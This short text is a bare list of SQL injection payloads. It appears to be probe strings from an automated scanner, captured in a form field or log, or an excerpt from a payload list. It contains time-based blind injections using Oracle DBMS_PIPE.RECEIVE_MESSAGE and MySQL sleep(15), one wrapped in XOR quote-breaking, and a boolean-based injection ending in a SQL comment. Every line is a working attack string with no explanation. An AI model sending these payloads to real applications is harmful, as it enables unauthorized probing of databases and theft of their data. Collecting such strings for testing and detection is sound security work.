MR.
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.0\'XOR(if(now()=sysdate(),sleep(15),0))XOR\'Z
if(now()=sysdate(),sleep(15),0)
-1\" OR 2+835-835-1=0+0+0+1 --
